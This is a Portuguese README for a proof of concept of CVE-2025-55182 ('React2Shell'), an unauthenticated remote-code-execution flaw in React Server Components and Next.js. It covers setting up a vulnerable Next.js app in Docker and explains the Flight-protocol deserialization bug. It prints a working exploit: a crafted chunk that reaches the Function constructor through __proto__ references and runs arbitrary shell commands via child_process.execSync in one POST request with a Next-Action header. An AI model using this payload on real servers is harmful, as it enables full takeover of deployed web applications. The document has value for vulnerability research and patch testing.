
Prova de conceito para CVE-2025-55182 (React2Shell): RCE não autenticado em React Server Components / Next.js através de desserialização do protocolo Flight.
CVE-2025-55182 é uma das vulnerabilidades de framework web mais abrangentes de 2025. React Server Components (RSC) já é a arquitetura dominante em aplicações Next.js modernas, e muitos projetos padrão criados com create-next-app estão dentro do escopo afetado, sendo exploráveis sem necessidade de código personalizado.
| Item | Conteúdo |
|---|---|
| ID CVE | CVE-2025-55182 |
| Pseudônimo | React2Shell |
| Tipo de Vulnerabilidade | Execução Remota de Código Não Autenticada (Unauthenticated RCE); CWE-502 Desserialização de Dados Não Confiáveis (Deserialization of Untrusted Data) [3] |
| Pontuação CVSS | 10.0 (Critical) (CVSS 3.1, Facebook/CNA [2]) |
| Pacotes Afetados | react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack |
| Versões Afetadas | React 19.0.0 ~ 19.2.0 / Next.js 14.3.0-canary.77 ou superior, 15.x, 16.x |
| Complexidade do Ataque | Muito Baixa (única requisição HTTP POST) |
| Requer Autenticação | Não |
Criar uma aplicação Next usando a versão vulnerável (16.0.6):
pnpm create [email protected] next-app --yes
Em next-app/app/, adicionar actions.ts, marcada como Server Action:
"use server";
export async function testAction(formData: FormData) {
console.log("Action called with:", formData);
}
Na página inicial (ex.: app/page.tsx), adicionar um formulário cujo action aponte para testAction acima, contendo pelo menos um campo (ex.: hidden input).
O Next.js gerará para este formulário um hidden input com
name="$ACTION_ID_<40 caracteres hex>"no HTML; o POC extrairá esse ID da página inicial usando uma expressão regular.
O next-app/Dockerfile e o docker-compose.yml dentro do projeto podem ser usados para construir e executar a aplicação Next, com redação baseada no exemplo oficial [8].
Na raiz do projeto, execute:
docker compose up --build -d
A aplicação Next iniciada estará acessível em http://localhost:3000.
Após finalizar o POC, remova completamente o ambiente Docker:
docker compose down -v
Ao executar o POC, o script fará fetch da página inicial e extrairá o ID usando a regex \$ACTION_ID_([a-f0-9]{40})/. Exemplo:
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/
async function extractActionIdFromPage(baseUrl: string) {
const response = await fetch(baseUrl);
const html = await response.text();
const match = html.match(ACTION_ID_REGEX);
return match ? match[1] : "";
}
Instale as dependências na raiz do projeto e execute:
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]
O trecho de código principal é o seguinte:
function escapeExecutable(executable: string) {
return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}
const escapedExecutable = escapeExecutable(executable);
const craftedChunk = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);
try {
const response = await fetch(baseUrl, {
method: "POST",
headers: { "Next-Action": actionId },
body: formData,
signal: controller.signal,
});
clearTimeout(timeoutId);
const text = await response.text();
console.log(`Status Code: ${response.status}`);
console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
// handle timeout or error
}
Exemplo para escrever um arquivo no host alvo:
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"
docker compose exec para acessar o container, ou utilize o Docker Desktop.A vulnerabilidade está no mecanismo de desserialização do Protocolo Flight do React (RSC Flight Deserializer). Este mecanismo é responsável por transmitir o estado dos componentes React entre servidor e cliente, mas o processo de tratamento apresenta um grave problema de limite de confiança.
O Protocolo React Flight é o formato de fio (wire format) que o React projeta para Server Components e Server Actions: serializa a árvore de componentes, parâmetros de função, etc., em um fluxo de chunks representado como JSON, e estabelece referências entre chunks usando
$número,$número:nome_chave, permitindo que o servidor reconstrua valores JavaScript completos.
Atacante envia HTTP POST malicioso
↓
[Fase 1] Cria um objeto de autorreferência em loop (Self-referential loop)
↓
[Fase 2] Engana o motor JavaScript para chamar uma função controlada pelo atacante
↓
[Fase 3] Injeta dados maliciosos para acionar o fluxo de inicialização do Flight
↓
[Fase 4] Através do Blob Handler, chama o construtor Function
↓
JavaScript arbitrário executado no servidor (RCE)
As Server Functions do React (em Next.js, Server Actions) serializam os dados que o frontend envia ao backend através do Protocolo React Flight em "pedaços" (chunks), e os enviam como dados de formulário (form data).
As vantagens deste design incluem:
Chunks podem referenciar uns aos outros, por exemplo:
["$1"] (referencia o chunk 1){"object":"fruit","name":"$2:fruitName"} (referencia a propriedade fruitName do chunk 2){"fruitName":"cherry"}O servidor interpreta e obtém: { object: 'fruit', name: 'cherry' }. Ou seja, o protocolo permite usar $número:nome_chave para apontar para propriedades de outros chunks, que são combinadas para formar o objeto JavaScript final.
Na implementação anterior à correção, ao analisar essas referências, não havia verificação rigorosa de "se a chave realmente existe no próprio objeto", permitindo que o atacante, através de referências, lesse propriedades da cadeia de protótipos (prototype) dos objetos.
Por exemplo, é possível construir o seguinte payload:
["$1:__proto__:constructor:constructor"]{"x":1}